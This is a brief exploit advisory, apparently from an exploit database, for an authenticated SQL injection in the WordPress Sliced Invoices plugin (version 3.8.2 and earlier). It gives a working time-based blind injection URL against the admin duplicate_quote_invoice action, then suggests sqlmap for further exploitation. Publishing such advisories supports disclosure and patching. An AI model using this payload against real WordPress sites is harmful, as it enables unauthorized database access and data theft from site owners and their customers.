WordPress Sliced Invoices 3.8.2 SQL Injection

`# Exploit Title: Wordpress Sliced Invoices <= 3.8.2 Authenticated SQL Injection Vulnerability  
# Date: 22-10-2019  
# Exploit Author: Lucian Ioan Nitescu  
# Contact: https://twitter.com/LucianNitescu  
# Webiste: https://nitesculucian.github.io  
# Vendor Homepage: https://slicedinvoices.com/  
# Software Link: https://wordpress.org/plugins/sliced-invoices/  
# Version: 3.8.2  
# Tested on: Ubuntu 18.04 / Wordpress 5.3  
  
1. Description:   
  
Wordpress Sliced Invoices plugin with a version lower then 3.8.2 is affected by an Authenticated SQL Injection vulnerability.  
  
2. Proof of Concept:   
  
Authenticated SQL Injection:  
- Using an Wordpress user, access <your target> /wp-admin/admin.php?action=duplicate_quote_invoice&post=8%20and%20(select*from(select(sleep(20)))a)--%20  
- The response will be returned after 20 seconds proving the successful exploitation of the vulnerability.  
- Sqlmap can be used to further exploit the vulnerability.  
`